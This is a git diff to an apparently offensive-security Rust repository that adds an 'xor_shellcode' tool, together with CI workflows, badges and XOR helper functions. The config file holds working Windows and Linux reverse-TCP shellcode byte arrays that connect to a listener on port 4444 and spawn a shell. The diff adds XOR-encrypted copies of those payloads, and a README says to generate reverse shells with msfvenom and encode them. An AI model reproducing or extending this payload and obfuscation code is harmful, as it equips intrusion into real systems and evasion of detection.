diff --git a/.custom_shields/xor_shellcode.json b/.custom_shields/xor_shellcode.json new file mode 100644 index 0000000..921e1c4 --- /dev/null +++ b/.custom_shields/xor_shellcode.json @@ -0,0 +1,6 @@ +{ + "schemaVersion": 1, + "label": "xor_shellcode", + "message": "1.0.0", + "color": "blue" +} \ No newline at end of file diff --git a/.github/workflows/linux.yml b/.github/workflows/linux.yml index f23b73e..5a0b101 100644 --- a/.github/workflows/linux.yml +++ b/.github/workflows/linux.yml @@ -49,6 +49,19 @@ jobs: - name: Build process hollowing for Linux run: cargo build -p process_hollowing --verbose + linux-xor_shellcode: + + runs-on: ubuntu-latest + + steps: + - uses: actions/checkout@v2 + - name: Update rust + run: rustup update + - name: Update cargo + run: cargo update + - name: Build xor shellcode for Linux + run: cargo build -p xor_shellcode --verbose + linux-all: runs-on: ubuntu-latest diff --git a/.github/workflows/shield_io_updater.yml b/.github/workflows/shield_io_updater.yml index 90016ae..a5dd180 100644 --- a/.github/workflows/shield_io_updater.yml +++ b/.github/workflows/shield_io_updater.yml @@ -73,4 +73,27 @@ jobs: value: ${{ steps.process_hollowing_ver.outputs.app_version }} - uses: stefanzweifel/git-auto-commit-action@v4 with: - commit_message: "Update process hollowing badge data via Github Action" \ No newline at end of file + commit_message: "Update process hollowing badge data via Github Action" + + update-xor-shellcode: + + runs-on: ubuntu-latest + needs: update-process-hollowing + + steps: + - uses: actions/checkout@v2 + with: + ref: ${{ github.head_ref }} + - uses: dante-signal31/rust-app-version@v1.0.0 + id: xor_shellcode_ver + with: + cargo_toml_folder: 'xor_shellcode/' + - name: Update xor_shellcode version + uses: jossef/action-set-json-field@v1 + with: + file: '.custom_shields/xor_shellcode.json' + field: message + value: ${{ steps.xor_shellcode_ver.outputs.app_version }} + - uses: stefanzweifel/git-auto-commit-action@v4 + with: + commit_message: "Update xor shellcode badge data via Github Action" \ No newline at end of file diff --git a/.github/workflows/windows.yml b/.github/workflows/windows.yml index 36df6a8..8e3dcb0 100644 --- a/.github/workflows/windows.yml +++ b/.github/workflows/windows.yml @@ -68,6 +68,25 @@ jobs: - name: Build process hollowing for Windows run: cargo build -p process_hollowing --target x86_64-pc-windows-gnu --verbose + windows-xor_shellcode: + + runs-on: ubuntu-latest + + steps: + - name: Update rust + run: rustup update + - name: Apt update + run: sudo apt-get update + - name: Install linker + run: sudo apt-get -y install mingw-w64 + - name: Add Windows build target + run: rustup target add x86_64-pc-windows-gnu + - uses: actions/checkout@v2 + - name: Update cargo + run: cargo update + - name: Build xor shellcode for Windows + run: cargo build -p xor_shellcode --target x86_64-pc-windows-gnu --verbose + windows-all: runs-on: ubuntu-latest diff --git a/Cargo.lock b/Cargo.lock index a96ba9d..086f4b1 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -131,3 +131,11 @@ name = "windows_x86_64_msvc" version = "0.30.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "08cabc9f0066848fef4bc6a1c1668e6efce38b661d2aeec75d18d8617eebb5f1" + +[[package]] +name = "xor_shellcode" +version = "1.0.0" +dependencies = [ + "rco_config", + "rco_utils", +] diff --git a/Cargo.toml b/Cargo.toml index 7c3f806..812e4cb 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -6,4 +6,5 @@ members = [ "tcp_reverse_shell", "process_migration", "process_hollowing", + "xor_shellcode", ] diff --git a/README.md b/README.md index 7c39d18..201c151 100644 --- a/README.md +++ b/README.md @@ -15,7 +15,9 @@ RCO tools can be compiled on either Linux or Windows systems to provide its user [![Custom badge](https://img.shields.io/endpoint?url=https%3A%2F%2Fraw.githubusercontent.com%2Fkmanc%2Fremote_code_oxidation%2Fmaster%2F.custom_shields%2Fprocess_migration.json)](https://github.com/kmanc/remote_code_oxidation/tree/master/process_migration) -[![Custom badge](https://img.shields.io/endpoint?url=https%3A%2F%2Fraw.githubusercontent.com%2Fkmanc%2Fremote_code_oxidation%2Fmaster%2F.custom_shields%2Fprocess_hollowing.json)](https://github.com/kmanc/remote_code_oxidation/tree/master/process_hollowing) +[![Custom badge](https://img.shields.io/endpoint?url=https%3A%2F%2Fraw.githubusercontent.com%2Fkmanc%2Fremote_code_oxidation%2Fmaster%2F.custom_shields%2Fprocess_hollowing.json)](https://github.com/kmanc/remote_code_oxidation/tree/master/process_hollowing) + +[![Custom badge](https://img.shields.io/endpoint?url=https%3A%2F%2Fraw.githubusercontent.com%2Fkmanc%2Fremote_code_oxidation%2Fmaster%2F.custom_shields%2Fxor_shellcode.json)](https://github.com/kmanc/remote_code_oxidation/tree/master/xor_shellcode) ## Setup diff --git a/rco_config/Cargo.toml b/rco_config/Cargo.toml index 11c0752..9e4ceb4 100644 --- a/rco_config/Cargo.toml +++ b/rco_config/Cargo.toml @@ -1,6 +1,6 @@ [package] name = "rco_config" -version = "0.1.0" +version = "0.2.0" edition = "2021" authors = ["Kevin Conley "] rust-version = "1.58" diff --git a/rco_config/src/lib.rs b/rco_config/src/lib.rs index 9f2bac5..4fa42a1 100644 --- a/rco_config/src/lib.rs +++ b/rco_config/src/lib.rs @@ -7,3 +7,11 @@ pub const LISTENER_PORT: u16 = 4444; pub const WINDOWS_SHELLCODE: &[u8] = &[0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x49, 0xbe, 0x77, 0x73, 0x32, 0x5f, 0x33, 0x32, 0x00, 0x00, 0x41, 0x56, 0x49, 0x89, 0xe6, 0x48, 0x81, 0xec, 0xa0, 0x01, 0x00, 0x00, 0x49, 0x89, 0xe5, 0x49, 0xbc, 0x02, 0x00, 0x11, 0x5c, 0x7f, 0x00, 0x00, 0x01, 0x41, 0x54, 0x49, 0x89, 0xe4, 0x4c, 0x89, 0xf1, 0x41, 0xba, 0x4c, 0x77, 0x26, 0x07, 0xff, 0xd5, 0x4c, 0x89, 0xea, 0x68, 0x01, 0x01, 0x00, 0x00, 0x59, 0x41, 0xba, 0x29, 0x80, 0x6b, 0x00, 0xff, 0xd5, 0x50, 0x50, 0x4d, 0x31, 0xc9, 0x4d, 0x31, 0xc0, 0x48, 0xff, 0xc0, 0x48, 0x89, 0xc2, 0x48, 0xff, 0xc0, 0x48, 0x89, 0xc1, 0x41, 0xba, 0xea, 0x0f, 0xdf, 0xe0, 0xff, 0xd5, 0x48, 0x89, 0xc7, 0x6a, 0x10, 0x41, 0x58, 0x4c, 0x89, 0xe2, 0x48, 0x89, 0xf9, 0x41, 0xba, 0x99, 0xa5, 0x74, 0x61, 0xff, 0xd5, 0x48, 0x81, 0xc4, 0x40, 0x02, 0x00, 0x00, 0x49, 0xb8, 0x63, 0x6d, 0x64, 0x00, 0x00, 0x00, 0x00, 0x00, 0x41, 0x50, 0x41, 0x50, 0x48, 0x89, 0xe2, 0x57, 0x57, 0x57, 0x4d, 0x31, 0xc0, 0x6a, 0x0d, 0x59, 0x41, 0x50, 0xe2, 0xfc, 0x66, 0xc7, 0x44, 0x24, 0x54, 0x01, 0x01, 0x48, 0x8d, 0x44, 0x24, 0x18, 0xc6, 0x00, 0x68, 0x48, 0x89, 0xe6, 0x56, 0x50, 0x41, 0x50, 0x41, 0x50, 0x41, 0x50, 0x49, 0xff, 0xc0, 0x41, 0x50, 0x49, 0xff, 0xc8, 0x4d, 0x89, 0xc1, 0x4c, 0x89, 0xc1, 0x41, 0xba, 0x79, 0xcc, 0x3f, 0x86, 0xff, 0xd5, 0x48, 0x31, 0xd2, 0x48, 0xff, 0xca, 0x8b, 0x0e, 0x41, 0xba, 0x08, 0x87, 0x1d, 0x60, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5]; // Shellcode for Linux targets pub const LINUX_SHELLCODE: &[u8] = &[0x6a, 0x29, 0x58, 0x99, 0x6a, 0x02, 0x5f, 0x6a, 0x01, 0x5e, 0x0f, 0x05, 0x48, 0x97, 0x48, 0xb9, 0x02, 0x00, 0x11, 0x5c, 0x7f, 0x00, 0x00, 0x01, 0x51, 0x48, 0x89, 0xe6, 0x6a, 0x10, 0x5a, 0x6a, 0x2a, 0x58, 0x0f, 0x05, 0x6a, 0x03, 0x5e, 0x48, 0xff, 0xce, 0x6a, 0x21, 0x58, 0x0f, 0x05, 0x75, 0xf6, 0x6a, 0x3b, 0x58, 0x99, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48, 0x89, 0xe7, 0x52, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05]; + +// Key for XOR-encrypting shellcode +pub const XOR_KEY: &[u8] = &[0x01, 0x02, 0x03, 0x04, 0x05]; + +// XOR-encrypted shellcode for Windows targets +pub const ENCRYPTED_WINDOWS_SHELLCODE: &[u8] = &[0xfd, 0x4a, 0x80, 0xe5, 0xf2, 0xeb, 0xc1, 0x02, 0x03, 0x01, 0x43, 0x52, 0x40, 0x52, 0x51, 0x50, 0x54, 0x4b, 0x30, 0xd0, 0x66, 0x49, 0x89, 0x51, 0x61, 0x4a, 0x88, 0x53, 0x1a, 0x4b, 0x8a, 0x50, 0x23, 0x49, 0x89, 0x71, 0x51, 0x4a, 0x0c, 0xb6, 0x48, 0x49, 0x4c, 0x33, 0xca, 0x49, 0x33, 0xc3, 0xad, 0x3e, 0x62, 0x7d, 0x00, 0x2f, 0x21, 0x43, 0xc2, 0xc8, 0x0f, 0x42, 0x00, 0xc3, 0xe1, 0xec, 0x50, 0x42, 0x50, 0x4a, 0x88, 0x53, 0x22, 0x88, 0x43, 0x3e, 0x4b, 0x00, 0xd2, 0x88, 0x81, 0x8a, 0x03, 0x01, 0x02, 0x4b, 0x84, 0xc2, 0x77, 0x66, 0x4a, 0x02, 0xd1, 0x52, 0x88, 0x49, 0x1a, 0x47, 0x8a, 0x42, 0x23, 0x48, 0x03, 0xd3, 0xe2, 0x54, 0x4b, 0xfe, 0xcb, 0x42, 0x8a, 0x36, 0x8b, 0x49, 0x03, 0xd5, 0x4c, 0x33, 0xca, 0x49, 0x33, 0xc3, 0xad, 0x43, 0xc2, 0xc8, 0x0f, 0x42, 0x00, 0xc3, 0x3b, 0xe1, 0x77, 0xf2, 0x4d, 0x01, 0x4f, 0x25, 0x0a, 0x46, 0x38, 0xd3, 0x76, 0xd9, 0x5a, 0x47, 0x8a, 0x42, 0x27, 0x48, 0x03, 0xd3, 0x67, 0x43, 0x88, 0x0d, 0x4a, 0x47, 0x8a, 0x42, 0x1f, 0x48, 0x03, 0xd3, 0x40, 0x89, 0x07, 0x89, 0x4a, 0x02, 0xd1, 0x43, 0x5b, 0x40, 0x5a, 0x5d, 0x58, 0x58, 0x42, 0x59, 0x43, 0x5a, 0x40, 0x58, 0x4b, 0x82, 0xee, 0x23, 0x40, 0x50, 0xfc, 0xe1, 0x5a, 0x42, 0x58, 0x58, 0x4b, 0x8a, 0x10, 0xea, 0x56, 0xfd, 0xfc, 0xfe, 0x5f, 0x4a, 0xbf, 0x75, 0x70, 0x33, 0x5d, 0x30, 0x33, 0x02, 0x03, 0x40, 0x54, 0x4a, 0x88, 0xe4, 0x4b, 0x80, 0xee, 0xa3, 0x00, 0x02, 0x03, 0x48, 0x8b, 0xe6, 0x48, 0xbe, 0x01, 0x01, 0x13, 0x5f, 0x7e, 0x02, 0x03, 0x00, 0x43, 0x57, 0x48, 0x8b, 0xe7, 0x4d, 0x8b, 0xf2, 0x40, 0xb8, 0x4f, 0x76, 0x24, 0x04, 0xfe, 0xd7, 0x4f, 0x88, 0xe8, 0x6b, 0x00, 0x03, 0x03, 0x01, 0x5b, 0x42, 0xbb, 0x2b, 0x83, 0x6a, 0x02, 0xfc, 0xd4, 0x52, 0x53, 0x4c, 0x33, 0xca, 0x4c, 0x33, 0xc3, 0x49, 0xfd, 0xc3, 0x49, 0x8b, 0xc1, 0x49, 0xfd, 0xc3, 0x49, 0x8b, 0xc2, 0x40, 0xb8, 0xe9, 0x0e, 0xdd, 0xe3, 0xfe, 0xd7, 0x4b, 0x88, 0xc5, 0x69, 0x11, 0x43, 0x5b, 0x4d, 0x8b, 0xe1, 0x49, 0x8b, 0xfa, 0x40, 0xb8, 0x9a, 0xa4, 0x76, 0x62, 0xfe, 0xd7, 0x4b, 0x80, 0xc6, 0x43, 0x03, 0x02, 0x03, 0x48, 0xba, 0x60, 0x6c, 0x66, 0x03, 0x01, 0x02, 0x03, 0x01, 0x43, 0x53, 0x40, 0x52, 0x4b, 0x88, 0xe0, 0x54, 0x56, 0x55, 0x4e, 0x30, 0xc2, 0x69, 0x0c, 0x5b, 0x42, 0x51, 0xe0, 0xff, 0x67, 0xc5, 0x47, 0x25, 0x56, 0x02, 0x00, 0x4a, 0x8e, 0x45, 0x26, 0x1b, 0xc7, 0x02, 0x6b, 0x49, 0x8b, 0xe5, 0x57, 0x52, 0x42, 0x51, 0x43, 0x53, 0x40, 0x52, 0x4a, 0xfe, 0xc2, 0x42, 0x51, 0x4b, 0xfc, 0xc9, 0x4f, 0x8a, 0xc0, 0x4e, 0x8a, 0xc0, 0x43, 0xb9, 0x78, 0xce, 0x3c, 0x87, 0xfd, 0xd6, 0x49, 0x33, 0xd1, 0x49, 0xfd, 0xc9, 0x8a, 0x0c, 0x42, 0xbb, 0x0a, 0x84, 0x1c, 0x62, 0xfc, 0xd4, 0xb9, 0xf3, 0xb4, 0xa0, 0x55, 0x40, 0xb8, 0xa5, 0x94, 0xbf, 0x9e, 0xfe, 0xd7, 0x4b, 0x82, 0xc6, 0x2b, 0x3d, 0x04, 0x7f, 0x0b, 0x82, 0xf8, 0xe1, 0x77, 0x06, 0xba, 0x45, 0x10, 0x73, 0x6d, 0x69, 0x01, 0x5b, 0x42, 0x88, 0xd8, 0xfc, 0xd4]; +// XOR-encrypted shellcode for Linux targets +pub const ENCRYPTED_LINUX_SHELLCODE: &[u8] = &[0x6b, 0x2b, 0x5b, 0x98, 0x68, 0x01, 0x5e, 0x68, 0x02, 0x5f, 0x0d, 0x06, 0x49, 0x95, 0x4b, 0xb8, 0x00, 0x03, 0x10, 0x5e, 0x7c, 0x01, 0x02, 0x02, 0x50, 0x4a, 0x8a, 0xe7, 0x68, 0x13, 0x5b, 0x68, 0x29, 0x59, 0x0d, 0x06, 0x6b, 0x01, 0x5d, 0x49, 0xfd, 0xcd, 0x6b, 0x23, 0x5b, 0x0e, 0x07, 0x76, 0xf7, 0x68, 0x38, 0x59, 0x9b, 0x4b, 0xba, 0x2d, 0x61, 0x68, 0x6c, 0x2c, 0x72, 0x6a, 0x03, 0x52, 0x4a, 0x8a, 0xe6, 0x50, 0x54, 0x49, 0x8b, 0xe5, 0x0e, 0x07]; \ No newline at end of file diff --git a/rco_utils/Cargo.toml b/rco_utils/Cargo.toml index c2e13ee..4b58239 100644 --- a/rco_utils/Cargo.toml +++ b/rco_utils/Cargo.toml @@ -1,6 +1,6 @@ [package] name = "rco_utils" -version = "0.1.0" +version = "0.2.0" edition = "2021" authors = ["Kevin Conley "] rust-version = "1.58" diff --git a/rco_utils/src/lib.rs b/rco_utils/src/lib.rs index 41f168f..c39fdb8 100644 --- a/rco_utils/src/lib.rs +++ b/rco_utils/src/lib.rs @@ -1,3 +1,5 @@ +use std::error::Error; + // Taken from https://stackoverflow.com/questions/36669427/does-rust-have-a-way-to-convert-several-bytes-to-a-number pub fn array_to_u32_big_end(array: &[u8; 4]) -> u32 { (array[0] as u32) << 24 | @@ -35,3 +37,21 @@ pub fn array_to_u64_lit_end(array: &[u8; 8]) -> u64 { (array[6] as u64) << 48 | (array[7] as u64) << 56 } + +pub fn equalize_slice_len(slice_one: &[T], slice_two: &[T]) -> (Vec, Vec) { + if slice_one.len() > slice_two.len() { + (slice_one.to_vec(), slice_two.iter().cloned().cycle().take(slice_one.len()).collect()) + } else { + (slice_one.iter().cloned().cycle().take(slice_two.len()).collect(), slice_two.to_vec()) + } +} + +pub fn xor_u8_slices(slice_one: &[u8], slice_two: &[u8]) -> Result, Box> { + if slice_one.len() != slice_two.len() { + return Err("The given slices are not the same length".into()); + } + Ok(slice_one.iter() + .zip(slice_two.iter()) + .map(|(&x1, &x2)| x1 ^ x2) + .collect()) +} \ No newline at end of file diff --git a/xor_shellcode/Cargo.toml b/xor_shellcode/Cargo.toml new file mode 100644 index 0000000..2986eae --- /dev/null +++ b/xor_shellcode/Cargo.toml @@ -0,0 +1,12 @@ +[package] +name = "xor_shellcode" +version = "1.0.0" +edition = "2021" +authors = ["Kevin Conley "] +rust-version = "1.58" + +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html + +[dependencies] +rco_config = {path = "../rco_config"} +rco_utils = {path = "../rco_utils"} \ No newline at end of file diff --git a/xor_shellcode/README.md b/xor_shellcode/README.md new file mode 100644 index 0000000..d4d42f4 --- /dev/null +++ b/xor_shellcode/README.md @@ -0,0 +1,28 @@ +# RCO: XOR Shellcode + +[![Custom badge](https://img.shields.io/endpoint?url=https%3A%2F%2Fraw.githubusercontent.com%2Fkmanc%2Fremote_code_oxidation%2Fmaster%2F.custom_shields%2Fxor_shellcode.json)](https://github.com/kmanc/remote_code_oxidation/tree/master/xor_shellcode) + + +## How it works + +XOR shellcode performs an [exclusive OR (XOR)](https://en.wikipedia.org/wiki/Exclusive_or) operation on each byte of the shellcode with each byte of the key (repeating the key if need be). + + +## Using it + +1. Generate shellcode for the desired end result (for example, use [msfvenom](https://book.hacktricks.xyz/shells/shells/msfvenom) to generate a reverse TCP shell shellcode for the target operating system) +2. Open [the config file](https://github.com/kmanc/remote_code_oxidation/blob/master/rco_config/src/lib.rs) and change the shellcode to the shellcode generated in step 1 +3. Open [the config file](https://github.com/kmanc/remote_code_oxidation/blob/master/rco_config/src/lib.rs) and change the key to a desired key +4. Compile the executable + + #### For Linux + ```commandline + cargo build -p tcp_reverse_shell --release + ``` + + #### For Windows + ```commandline + cargo build --target x86_64-pc-windows-gnu -p tcp_reverse_shell --release + ``` +5. Run the executable +6. Open [the config file](https://github.com/kmanc/remote_code_oxidation/blob/master/rco_config/src/lib.rs) and change encrypted payload to the output of step 5 diff --git a/xor_shellcode/src/main.rs b/xor_shellcode/src/main.rs new file mode 100644 index 0000000..ec0b450 --- /dev/null +++ b/xor_shellcode/src/main.rs @@ -0,0 +1,34 @@ +fn main() { + let win_shellcode = rco_config::WINDOWS_SHELLCODE; + let lin_shellcode = rco_config::LINUX_SHELLCODE; + let key = rco_config::XOR_KEY; + + let equalilzed = rco_utils::equalize_slice_len(key, win_shellcode); + let win_key: &[u8] = &equalilzed.0[..]; + let win_shellcode: &[u8] = &equalilzed.1[..]; + let win_output = rco_utils::xor_u8_slices(win_key, win_shellcode).unwrap(); + let mut win_print = "".to_owned(); + for byte in win_output.iter() { + let formatted = format!("{byte:#04x}, "); + win_print.push_str(&formatted); + } + win_print.pop(); + win_print.pop(); + println!("pub const ENCRYPTED_WINDOWS_SHELLCODE: &[u8] = &[{win_print}];"); + + println!(); + + let equalilzed = rco_utils::equalize_slice_len(key, lin_shellcode); + let lin_key: &[u8] = &equalilzed.0[..]; + let lin_shellcode: &[u8] = &equalilzed.1[..]; + let lin_output = rco_utils::xor_u8_slices(lin_key, lin_shellcode).unwrap(); + let mut lin_print = "".to_owned(); + for byte in lin_output.iter() { + let formatted = format!("{byte:#04x}, "); + lin_print.push_str(&formatted); + } + lin_print.pop(); + lin_print.pop(); + println!("pub const ENCRYPTED_LINUX_SHELLCODE: &[u8] = &[{lin_print}];"); + +}